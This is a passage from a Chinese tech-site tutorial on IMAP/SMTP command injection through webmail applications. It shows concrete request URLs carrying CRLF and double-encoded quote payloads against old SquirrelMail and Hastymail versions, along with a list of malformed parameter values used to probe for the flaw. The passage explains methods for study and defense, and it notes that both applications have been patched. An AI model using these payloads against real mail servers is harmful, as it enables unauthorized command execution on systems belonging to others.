科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网服务器频道如何利用注射技术攻击邮件服务器?

如何利用注射技术攻击邮件服务器?

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

本文将详细介绍通过跟邮件服务器通信的Web应用程序,即webmail应用来注入某些邮件协议(IMAP和SMTP协议)命令来攻击邮件服务器的原理、方法和防御措施。

来源:51cto 2009年9月9日

关键字: 攻击 WebMail 邮件服务器

  • 评论
  • 分享微博
  • 分享邮件

在本页阅读全文(共5页)

五、发动攻击

下面我们用实例来解释不同类型的邮件服务器攻击方法,以及邮件服务器注射技术示例。这样的实例曾发生在SquirrelMail(1.2.7和1.4.5版本)和Hastymail(1.0.2和1.5版本)这两种Webmail应用程序上。因为SquirrelMail团队已经废止了SquirrelMail的1.2.7版本,而推荐的最低版本为1.4.6,因为之前的版本都有弱点。Hastymail在1.5之前的所有版本都容易受到SMTP和IMAP注射的影响,所以要经常检查最新的补丁。SquirrelMail和Hastymail团队在收到这些问题的通知后,都迅速进行了修正。不久之后,Nessus发布了一个检查这种弱点的插件。

实施攻击时,必须经过以下两个步骤:

确定出一个有弱点的参数;

了解它的作用范围。

(一)发现有弱点的参数

识别有弱点的参数的方法可以采用其他类型注射所采用的方法:试探法。也就是说,要发送具有异常值(应用程序的非预期值)的请求给原始IMAP和SMTP命令所用到的每个可疑参数,然后分析其行为,从而找出可以利用的参数。下面举例说明。

当用户要访问SquirrelMail中的收件箱(INBOX)时,所用的请求如下所示:

http: //src/right_main.php?
PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX 

如果用户用下列方式修改参数“mailbox”的值:

http:///src/right_main.php?
PG_SHOWALL=0&sort=0&startMessage=1&mailbox=INBOX%22 

那么应用程序就会返回一个如下所示的错误信息:

ERROR : Bad or malformed request. 

Query: SELECT "INBOX"" 

Server responded: Unexpected extra arguments to Select 

显然,这不是该应用程序所期望的正常行为。此外,该消息显示IMAP命令“SELECT”正在被执行。利用这个方法,我们可以推断出参数“mailbox”具有邮件服务器注射漏洞,准确来说是容易受到IMAP注射的攻击。在其他情况下,有弱点的参数的检测和利用没有这么明显。例如,当用户访问它们的Hastymail收件箱时,相应的请求如下所示:

http:///html/mailbox.php?id=
7944bf5a2e616484769472002f8c1&mailbox=INBOX 

如果用户用下列方式修改参数“mailbox”的值:

http:///html/mailbox.php?id=
7944bf5a2e616484769472002f8c1&mailbox=INBOX" 

应用程序将回应下列消息:

Could not access the following folders: 

INBOX\" 

To check for outside changes to the folder 
list go to the folders page 

在此种情况下,添加引号并没有改变应用程序的行为。
结果跟用户已经注入其他任何字符时一样:

http:///html/mailbox.php?id=
7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST 

那么应用程序就会返回同样的错误信息:

Could not access the following folders: 

NOTEXIST 

To check for outside changes to 
the folder list go to the folders page 

如果用户试图注射其它的IMAP命令:

http:///html/mailbox.php?id=
7944bf5a2e616484769472002f8c1&mailbox=NOTEXIST

"%0d%0aA0003%20CREATE%20"INBOX.test 

那么应用程序就会又返回一个错误信息:

Unable to perform the requested action 

Hastymail said:: A0003 SELECT "INBOX" 

And the IMAP server said:: 

A0003 NO Invalid mailbox name. 

乍一看,好像是IMAP注射无法进行。然而,通过使用引号的一种变化形式,我们能够达到目的。下一个例子使用引号的双字符编码形式即%2522,来替换上面的单字符形式:

http:///html/mailbox.php?id=7944bf5a2e616484769472002f8c1&mailbox=
NOTEXIST%2522%0d%0aA0003%20CREATE%20%2522INBOX.test  

在此种情况下,应用程序不仅不会返回任何错误信息,而且还会在收件箱创建文件夹“test”。其它的滥用情形:

◆给参数一个空值,例如“mailbox= ”。
◆用不存在的邮箱的名称来替换某些值,例如“mailbox=NotExists”。
◆给参数添加其它的值,例如“mailbox=INBOX PARAMETER2”
◆添加其它的非标准字符,例如\, ?, @, #, !, |, \n。
◆添加CRLF序列,例如“mailbox=INBOX%0d%0a”。

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章